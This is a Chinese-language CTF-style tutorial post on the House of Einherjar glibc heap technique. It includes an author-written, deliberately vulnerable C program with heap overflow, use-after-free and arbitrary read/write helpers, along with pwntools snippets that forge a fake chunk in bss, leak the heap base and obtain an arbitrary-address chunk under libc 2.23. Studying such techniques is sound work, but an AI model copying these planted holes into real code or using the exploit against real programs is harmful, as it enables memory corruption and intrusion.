House Of Einherjar

文章发布时间:

最后更新时间:

文章总字数:
1.8k

预计阅读时间:
8 分钟

基于chunk overlapping的一种利用手法 旨在申请到任意地址的chunk

前言

题目源码 各种漏洞都有 并且打印了堆基址 同时不打算开启pie 方便调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
//gcc -o testheap -no-pie testheap

#include<stdio.h>
#include<stdlib.h>
int chunk_time =0;
int chunk_size[50];
char *chunk_ptr[50];
char magic_addr[1000];
void bss_write(){
puts("For commissioning only");
char *a[50];
read(0,a,0x50);
puts("Input content");
read(0,*a,0x100);
}
void gift(){
puts("Convenient debugging");
puts("Please enter the got table of the function");
char a[0x20];
read(0,a,0x20);
asm(
"pop %rsi\n\t"
"mov $1,%rax\n\t"
"mov $1,%rdi\n\t"
"mov $8,%rdx\n\t"
"syscall\n\t"
);
puts("Keep this gift");
}
void init(){
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
void menu(){
puts("Life is fucking movie");
puts("Life is always full of unhappiness, like this question");
puts("Anyway, what's your answer");
puts(">");
}
void add(){
int index;
char size[20];
puts("What do you really want?");
if(chunk_time<=32&&chunk_time>=0){
if(!chunk_ptr[chunk_time]){
printf("This is the %dth choice in your life\n",chunk_time);
puts("You can customize the size of chunk, but what about your life");
read(0,size,0x8);
chunk_size[chunk_time] = atoi(size);
chunk_ptr[chunk_time] = malloc(chunk_size[chunk_time]);
printf("chunk_addr is %x\n",&(*chunk_ptr[chunk_time]));
puts("Although your life is a piece of shit, you still have the initiative, right?");
read(0,chunk_ptr[chunk_time],chunk_size[chunk_time]);
chunk_time++;
}else{
puts("error");
exit(0);
}
}else{
exit(0);
puts("");
}
}
void delete(){
char data[100];
int index;
puts("I didn't set the pointer to zero, just like some things can't be repeated");
scanf("%d",&index);
free(chunk_ptr[index]);
}
void edit(){
int index;
int chunksize;
puts("It's never too late to start again. What do you regret?");
scanf("%d",&index);
puts("You all know that there can be overflows here, so why do you set limits on your life?");
scanf("%d",&chunksize);
puts("Come back!");
read(0,chunk_ptr[index],chunksize);
}
void show(){
puts("You can't live a perfect life without making any effort");
int index;
scanf("%d",&index);
puts(chunk_ptr[index]);
}
int main(){
int choice;
init();
puts("This program is used to debug heap vulnerabilities");
puts("write by chen");
while(1){
menu();
scanf("%d",&choice);
switch(choice){
case 1:
add();
break;
case 2:
delete();
break;
case 3:
edit();
break;
case 4:
show();
break;
case 5:
gift();
break;
case 6:
bss_write();
break;
case 7:
puts("The fog of that morning cleared, not only in the morning, but also in the fog");
puts("You will be stronger next time I see you");
exit(0);
break;
}
}
}

在上一篇文章中 我们介绍了利用修改prev_size里实现合并的手法 基于这个漏洞 我们更进一步来利用

我们知道 如果topchunk相邻低地址处的chunk处于free状态 除开fastbin和tcachebin 那么top chunk就会将其合并 此时top chunk的首地址就会成为被合并的chunk的地址

这其实是house of force的内容 不过这里我们并不直接修改top chunk的prev_size

而是修改与top chunk物理相邻的chunk的prev_size

首先我们需要知道 当plmalloc在处理后向合并的时候 新的chunk的地址是根据当前chunk减去prev_size得到的

并且后向合并的前置条件是要通过两个检查

假设此时我们已经在某个地方伪造好了fake chunk 并且此时堆结构如图所示

为了实现chunkA后向合并到fake chunk 我们需要使得chunkA_addr - prev_size = fakechunk_addr

1
chunk_at_offset(p, -((long) prevsize))

同时还需要使得fake_chunk的size域和chunkA的prev_size域相同

1
2
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");

并且还要注意一下fake chunk的fd域和bk域 根据unlink的要求 我们需要使得fake chunk的fd域和bk域满足下面要求

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

不过这个相对来说很好绕过 我们只需要让fd和bk域都为fake chunk的地址就行了 这样FD->bk 的值也还是fake chunk的地址 同理BK->fd也是

同时还需要使得chunkA的inuse位为0 这样plmalloc才会认为chunkA低地址处存在一个位于bin的chunk 并且是可以合并的

1
2
3
4
5
6
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

根据上述要求 我们想要实现house of einherjar需要拥有以下条件

1
2
3
1.拥有堆溢出的能力 可以覆盖到next chunk的prev_size域和size域的最后一位
2.拥有在目标地址构造fake chunk的能力
3.拥有堆的基址来计算fake chunk和chunk的差值

下面我们开始实际利用

libc2.23

我们假设题目自带了打印堆基址的功能

并且可以在bss段中构造fake chunk的机会 实际利用情况里需要读者自己根据实际题目判断是否可行 以及如何实现

本题目由笔者本人编写 漏洞点显而易见 仅供参考

1
2
3
bss_addr = 0x602320
chunk0_addr = add(0x10,b'aaaa')
chunk0_addr = chunk0_addr * 0x1000

首先我们创建一个0x10大小的chunk 同时接收一下当前chunk的地址 也就是堆基址 这里之所以要乘以0x1000

是因为我出题的时候使用的是printf来输出 其遇到\x00就直接截断了 所以无法打印出堆基址后的三个0 这里需要自己补上

1
2
3
4
5
add(0x80,b'aaaa')
chunk1_addr = chunk0_addr + 0x20
prev_size = chunk1_addr-bss_addr
payload = cyclic(0x10)+p64(prev_size)+b'\x90'
edit(0,len(payload),payload)

随后我们再次申请一个chunk 这个chunk是用来实现本文漏洞的关键 最开始申请的chunk是用来堆溢出覆盖这个chunk的prev_size域和size域的inuse位

接着我们计算出chunk1_addr 和 prev_size应该要被设置成的值

接着利用chunk0的堆溢出漏洞覆盖chunk1的prev_size和inuse

此时堆的结构如图所示

接着在bss段上构造一个fake chunk 这里的函数是我为了方便演示特地写的 正常题目就别想了

1
2
payload = p64(0x90)+p64(prev_size)+p64(bss_addr)*2
bss_write(p64(bss_addr),payload)

此时我们释放chunk1 看看其是否能过通过检查

为什么是top chunk跑到了fake chunk这边呢 同时addr还和我们fake chunk不一样

这是因为chunk1在和fake chunk合并之后 二者同样是一个物理相邻top chunk的堆块 所以top chunk就将其吞并

而这个addr是单纯的显示问题 我们试着申请一个chunk 看看写入的content位于哪里

1
add(0x20,b'gggggggg')

可以看到写入成功

接下来 难度升级 我们来试试如果题目没有给我们赠送堆基址 我们要如何自己获取堆基址并且实现漏洞的利用

1
2
3
4
5
6
7
8
9
bss_addr = 0x602320
add(0x10,b'aaaa')
add(0x10,b'aaaa')
delete(1)
delete(0)
show(0)
io.recv()
heap_addr = u64(io.recv(4).ljust(8,b'\x00'))-0x20
success("heap_addr :"+hex(heap_addr))

首先我们申请两个任意大小的chunk 目的是为了将两个chunk放入到fastbin中 利用UAF获取其fd域内的堆地址 经过计算得到堆基址

接着我们需要把这两个chunk从fastbin中取出来 否则等下unlink的时候就会报错 原因暂时不清楚

1
2
3
add(0x10,b'aaaa')#2
add(0x10,b'aaaa')#3
add(0x80,b'aaaa')#4

我们重新申请两个0x10大小的chunk 此时chunk2相当于chunk0 chunk3相当于chunk1

chunk4则是用来向后合并 利用漏洞的

接下来的手法就和之前的一致了

1
2
3
4
5
6
prev_size = heap_addr + 0x40 - bss_addr
payload = cyclic(0x10)+p64(prev_size)+b'\x90'
edit(3,len(payload),payload)
payload = p64(0x100)+p64(prev_size)+p64(bss_addr)*2
bss_write(p64(bss_addr),payload)
delete(4)